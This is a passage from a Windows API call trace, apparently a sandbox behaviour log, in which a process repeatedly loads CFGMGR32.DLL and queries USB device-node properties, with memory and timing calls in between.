lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x42a4e30f, dwHighDateTime=0x1d9eb0c)) [0226.286] SetEvent (hEvent=0x248) returned 1 [0226.347] malloc (_Size=0xd8) returned 0x20abc284e70 [0226.347] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0226.348] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0226.348] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0226.348] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0226.348] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0226.348] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0226.348] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0226.349] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0226.349] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0226.349] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0226.349] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0226.349] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0226.349] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0226.349] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0226.349] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0226.350] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0226.350] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0226.350] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0226.350] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0226.350] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0226.350] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0226.350] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0226.351] malloc (_Size=0x18) returned 0x20abc281f20 [0226.351] CM_Get_Device_IDA (in: dnDevInst=0xd, Buffer=0x2dc22fd2e0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="USB\\ROOT_HUB20\\4&13A29EA8&0") returned 0x0 [0226.351] malloc (_Size=0x48) returned 0x20abc27cf80 [0226.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd250 | out: lpSystemTimeAsFileTime=0x2dc22fd250*(dwLowDateTime=0x42ae6b15, dwHighDateTime=0x1d9eb0c)) [0226.351] SetEvent (hEvent=0x248) returned 1 [0226.355] malloc (_Size=0xd8) returned 0x20abc284e70 [0226.355] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0226.355] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0226.355] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0226.355] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0226.355] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0226.356] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0226.356] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0226.356] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0226.356] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0226.356] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0226.356] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0226.356] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0226.356] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0226.357] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0226.357] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0226.357] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0226.357] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0226.357] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0226.357] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0226.357] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0226.358] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0226.358] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0226.358] malloc (_Size=0x18) returned 0x20abc281b80 [0226.358] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xd, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x1a [0226.358] malloc (_Size=0xac) returned 0x20abc2867b0 [0226.359] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xd, ulProperty=0x2, pulRegDataType=0x2dc22fd360, Buffer=0x20abc2867b0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x20abc2867b0, pulLength=0x2dc22fd3f8) returned 0x0 [0226.360] free (_Block=0x20abc2867b0) [0226.360] malloc (_Size=0x48) returned 0x20abc27cf80 [0226.360] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x42ae6b15, dwHighDateTime=0x1d9eb0c)) [0226.360] SetEvent (hEvent=0x248) returned 1 [0226.364] malloc (_Size=0x18) returned 0x20abc281e00 [0226.364] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abbaffcb8) returned 0x0 [0226.364] free (_Block=0x20abc281e00) [0226.364] malloc (_Size=0x18) returned 0x20abc281b20 [0226.364] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abbaffcb8) returned 0x0 [0226.364] free (_Block=0x20abc281b20) [0226.364] malloc (_Size=0x18) returned 0x20abc281960 [0226.364] SafeArrayPutElement (psa=0x20abba7ffd0, rgIndices=0x2dc22fd4c8, pv=0x20abba63d68) returned 0x0 [0226.364] free (_Block=0x20abc281960) [0226.365] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x78) returned 0x20abbb0be70 [0226.365] SafeArrayGetDim (psa=0x20abba7ffd0) returned 0x1 [0226.365] SafeArrayGetLBound (in: psa=0x20abba7ffd0, nDim=0x1, plLbound=0x2dc22fd190 | out: plLbound=0x2dc22fd190) returned 0x0 [0226.365] SafeArrayGetUBound (in: psa=0x20abba7ffd0, nDim=0x1, plUbound=0x2dc22fd1b0 | out: plUbound=0x2dc22fd1b0) returned 0x0 [0226.365] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x28) returned 0x20abba798e0 [0226.365] SafeArrayGetDim (psa=0x20abba7ffd0) returned 0x1 [0226.365] SafeArrayGetUBound (in: psa=0x20abba7ffd0, nDim=0x1, plUbound=0x2dc22fd158 | out: plUbound=0x2dc22fd158) returned 0x0 [0226.365] SafeArrayGetElemsize (psa=0x20abba7ffd0) returned 0x8 [0226.365] SafeArrayGetElement (in: psa=0x20abba7ffd0, rgIndices=0x2dc22fd048, pv=0x2dc22fd050 | out: pv=0x2dc22fd050) returned 0x0 [0226.366] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93af0, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0226.366] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93af8, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0226.366] memcpy (in: _Dst=0x2dc22fd058, _Src=0x20abba93b00, _Size=0x8 | out: _Dst=0x2dc22fd058) returned 0x2dc22fd058 [0226.367] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba798e0) returned 1 [0226.367] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abbb0be70) returned 1 [0226.368] malloc (_Size=0xd8) returned 0x20abc284e70 [0226.368] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0226.369] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0226.369] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0226.369] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0226.369] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0226.369] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0226.370] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0226.370] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0226.370] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0226.370] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0226.370] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0226.370] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0226.371] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0226.371] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0226.371] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0226.371] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0226.371] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0226.371] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0226.372] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0226.372] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0226.372] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0226.372] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0226.372] malloc (_Size=0x18) returned 0x20abc281de0 [0226.373] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xd, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0226.373] malloc (_Size=0x48) returned 0x20abc27cf80 [0226.373] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x42b0d0f3, dwHighDateTime=0x1d9eb0c)) [0226.373] SetEvent (hEvent=0x248) returned 1 [0226.379] malloc (_Size=0xd8) returned 0x20abc284e70 [0226.379] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0226.379] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0226.379] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0226.380] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0226.380] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0226.380] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0226.380] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0226.380] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0226.380] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0226.381] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0226.381] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0226.381] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0226.381] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0226.381] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0226.381] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0226.382] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0226.382] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0226.382] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0226.382] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0226.382] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0226.383] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0226.383] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0226.383] malloc (_Size=0x18) returned 0x20abc281be0 [0226.384] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xd, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0226.388] malloc (_Size=0x48) returned 0x20abc27cf80 [0226.388] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x42b338c7, dwHighDateTime=0x1d9eb0c)) [0226.389] SetEvent (hEvent=0x248) returned 1 [0226.443] malloc (_Size=0xd8) returned 0x20abc284e70 [0226.443] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0226.443] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0226.443] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0226.443] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0226.443] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0226.443] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0226.444] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0226.444] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0226.444] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0226.444] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0226.444] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0226.444] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0226.444] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0226.445] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0226.445] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0226.445] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0226.445] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0226.445] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0226.445] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0226.445] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0226.445] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0226.446] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0226.446] malloc (_Size=0x18) returned 0x20abc281e80 [0226.446] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xd, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0226.446] malloc (_Size=0x48) returned 0x20abc27cf80 [0226.446] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x42bcb7f4, dwHighDateTime=0x1d9eb0c)) [0226.447] SetEvent (hEvent=0x248) returned 1 [0226.450] malloc (_Size=0xd8) returned 0x20abc284e70 [0226.450] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0226.451] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0226.451] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0226.451] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0226.451] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0226.451] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0226.451] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0226.452] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0226.452] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0226.452] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0226.452] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0226.452] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0226.452] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0226.452] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0226.452] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0226.453] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0226.453] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0226.453] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0226.453] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0226.453] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0226.453] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0226.454] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0226.454] malloc (_Size=0x18) returned 0x20abc281f20 [0226.455] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xd, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0226.455] malloc (_Size=0x48) returned 0x20abc27cf80 [0226.455] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x42bf1b3e, dwHighDateTime=0x1d9eb0c)) [0226.455] SetEvent (hEvent=0x248) returned 1 [0226.459] malloc (_Size=0xd8) returned 0x20abc284e70 [0226.459] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0226.460] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0226.460] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0226.460] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0226.460] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0226.460] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0226.460] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0226.460] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0226.461] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0226.461] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0226.461] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0226.461] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0226.461] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0226.461] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0226.461] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0226.462] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0226.462] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0226.462] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0226.462] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0226.462] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0226.462] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0226.462] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0226.463] malloc (_Size=0x18) returned 0x20abc281b80 [0226.463] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xd, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0226.463] malloc (_Size=0x48) returned 0x20abc27cf80 [0226.463] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x42bf1b3e, dwHighDateTime=0x1d9eb0c)) [0226.464] SetEvent (hEvent=0x248) returned 1 [0226.472] malloc (_Size=0xd8) returned 0x20abc284e70 [0226.472] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0226.472] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0226.473] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0226.473] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0226.473] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0226.473] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0226.473] GetProcAddress 